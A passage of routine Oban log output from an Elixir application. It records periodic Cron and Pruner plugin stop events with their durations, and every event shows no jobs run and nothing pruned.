{"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:28.706 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:58.708 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.034 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:28.710 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:58.712 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.035 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:28.714 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:58.716 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.036 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:28.718 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:58.720 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.037 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:28.722 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:58.724 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.038 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:28.726 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:58.728 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.039 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:28.730 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:58.732 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.040 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:28.734 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:58.736 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.041 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:28.738 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:58.739 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.042 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:28.742 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:58.744 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.043 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:28.746 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:58.748 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.044 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:28.750 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:58.752 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.045 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:28.754 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:58.756 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.046 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:28.758 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:58.760 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.047 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:28.762 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:58.764 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.048 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:28.766 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:58.768 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.049 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:28.770 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:58.772 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.050 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:28.774 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:58.776 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.051 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:28.778 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:58.780 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.054 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:28.782 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:58.784 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.056 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:28.786 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:58.788 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.057 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:28.790 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:58.792 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.058 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:28.794 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:58.796 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.059 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:28.798 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:58.800 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.060 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:28.802 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:58.804 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.061 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:28.806 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:58.809 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.062 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:28.811 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:58.813 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.063 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:28.815 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:58.817 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.064 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:28.819 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:58.821 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.065 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:28.823 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:58.825 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.066 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:28.827 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:58.829 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.067 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:28.831 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:58.833 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.068 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:28.835 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:58.837 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.069 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:28.839 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:58.841 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.070 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:28.843 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:58.845 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.071 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:28.847 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:58.849 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.072 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:28.851 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:58.853 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.073 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:28.855 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:58.857 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.074 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:28.859 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:58.861 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.075 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:28.863 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:58.865 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.076 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:28.867 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:58.869 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.077 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:28.871 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:58.873 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.078 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:28.875 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:58.877 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.079 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:28.879 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:58.881 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.080 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:28.883 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:58.885 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.081 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:28.887 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:58.889 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.082 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:28.891 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:58.892 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.083 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:28.895 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:58.897 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.084 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:28.899 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:58.901 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.085 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:28.903 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:58.905 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.086 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:28.907 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:58.909 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.087 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:28.911 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:58.913 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.088 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:28.915 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:58.918 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.089 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:28.920 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:58.922 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.090 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:28.924 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:58.926 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.091 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:28.928 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:58.930 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.092 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:28.932 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:58.934 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.093 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:28.936 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:58.938 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.094 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:28.940 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:58.942 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.095 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:28.944 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:58.946 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.096 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:28.948 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:58.950 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.097 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:28.952 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:58.954 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.098 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:28.956 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:58.958 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.099 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:28.960 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:58.962 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.100 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:28.964 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:58.966 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.102 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:28.968 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:58.970 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.103 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:28.972 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:58.974 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.104 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:28.976 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:58.978 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.105 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:28.980 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:58.982 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.106 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:28.984 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:58.986 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.107 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:28.988 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:58.990 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.108 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:28.992 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:58.994 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.109 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:28.996 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:58.998 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.110 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:29.000 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:59.002 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.111 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:29.004 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:59.007 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.112 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:29.009 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:59.012 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.113 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:29.015 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:59.017 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.114 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:29.019 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:59.021 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.115 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:29.023 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:59.025 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.116 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:29.027 [info] 